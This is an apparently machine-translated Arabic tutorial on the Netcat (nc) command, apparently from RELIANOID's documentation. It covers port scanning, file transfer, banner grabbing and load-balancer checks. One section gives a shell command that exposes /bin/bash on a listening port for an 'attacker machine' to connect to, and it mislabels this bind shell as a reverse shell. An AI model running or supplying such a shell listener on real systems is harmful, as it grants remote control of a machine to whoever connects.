لينكس nc الأمر (Netcat) #
لينكس nc أمر (Netcat) هو أداة شبكات متعددة الاستخدامات تُستخدم في اتصالات الشبكة وتصحيح الأخطاء والاختبار. يعمل كخادم أو عميل بسيط، ويدعم قراءة البيانات وكتابتها عبر بروتوكولي TCP وUDP. يُطلق عليه اسم "السكين السويسري" في الشبكات. nc يتم استخدامه على نطاق واسع لمهام مثل فحص المنافذ ونقل الملفات واختبار خدمات الشبكة.
الاستخدام الرئيسي وبنية الجملة nc أمر #
البنية الأساسية لملف nc الأمر هو:
nc [OPTIONS] [HOST] [PORT]
- OPTIONS:أعلام للتحكم في سلوك
nc. - HOST:المضيف المستهدف للاتصال.
- PORT: رقم المنفذ المستهدف.
nc جدول الغش في الأوامر #
| أمر | الوصف |
nc -zv example.com 80 |
اختبار ما إذا كان المنفذ 80 قيد التشغيل example.com مفتوح (الوضع المطول). |
nc -l 1234 |
بدء المستمع على المنفذ 1234. |
nc example.com 80 |
الاتصال بالمنفذ 80 على example.com (على سبيل المثال، لإرسال طلبات HTTP). |
nc -u example.com 1234 |
إرسال البيانات إلى منفذ UDP 1234 على example.com. |
nc -l -p 8080 |
ابدأ تشغيل خادم يستمع على المنفذ 8080. |
echo "Hello" | nc example.com 1234 |
ارسل الرسالة Hello إلى example.com على المنفذ 1234. |
حالات الاستخدام المشترك #
1. مسح المنافذ #
nc -zv example.com 20-25
يقوم هذا الأمر بفحص المنافذ من 20 إلى 25 على example.com ويخرج حالتهم.
2. إعداد دردشة بسيطة #
إعداد محادثة بسيطة بين نظامين:
على النظام الأول: #
nc -l -p 1234
في النظام الثاني: #
nc HOSTNAME 1234
استبدل HOSTNAME مع عنوان IP للنظام الأول.
3. نقل الملفات #
نقل الملفات بين نظامين باستخدام nc:
المرسل: #
cat file.txt | nc -q 0 HOSTNAME 1234
المتلقي: #
nc -l -p 1234 > file.txt
4. الاستيلاء على اللافتات #
استرداد معلومات الخدمة من خادم بعيد:
nc example.com 80
النوع HEAD / HTTP/1.0 والصحافة Enter مرتين لعرض رؤوس HTTP.
الاستخدام المتقدم #
اتصال UDP #
اختبار اتصال UDP بالهدف:
nc -u example.com 1234
يؤدي هذا إلى إرسال البيانات إلى منفذ UDP 1234 على example.com.
ربط شل #
إنشاء غلاف عكسي بسيط لتصحيح الأخطاء:
على الجهاز البعيد: #
nc -l -p 4444 -e /bin/bash
على جهاز المهاجم: #
nc TARGET 4444
استخدام Netcat بشكل آمن #
لتعزيز الأمان، استخدم الإصدار التشفيري من nc (على سبيل المثال، ncat مع SSL).
باستخدام nc مع RELIANOID الحلول #
In RELIANOIDالبنية التحتية للشبكات، nc يمكن أن تخدم أغراض تشخيصية وتشغيلية مختلفة:
1. اختبار اتصال موازن التحميل #
nc -zv loadbalancer.realianoid.local 80
تأكد من أن موازن التحميل يقبل حركة المرور على المنفذ 80.
2. مراقبة خدمات الواجهة الخلفية #
التحقق بسرعة من حالة خوادم الواجهة الخلفية:
nc -zv backend1.realianoid.local 8080
يتحقق هذا من إمكانية الوصول إلى خدمة الواجهة الخلفية على المنفذ 8080.
3. التحقق من صحة إعادة توجيه خادم الوكيل #
اختبار ما إذا كان خادم الوكيل يقوم بإعادة توجيه حركة المرور بشكل صحيح:
nc proxy.realianoid.local 443
4. تصحيح أخطاء البروتوكولات المخصصة #
استعمل nc لتصحيح أخطاء التفاعلات أو محاكاتها باستخدام البروتوكولات المخصصة في RELIANOIDالبيئة.
nc -l -p 5555
إعداد مستمع لاختبار رسائل البروتوكول.
ملخص #
استخدم nc يُعد أمر (Netcat) أداةً لا غنى عنها لمحترفي الشبكات. قدرته على فحص المنافذ، ونقل الملفات، وتصحيح أخطاء الاتصال تجعله مثاليًا للتطبيقات متعددة الاستخدامات. nc مع RELIANOID تساعد البنية التحتية على ضمان أداء قوي للشبكة وحل المشكلات بسرعة.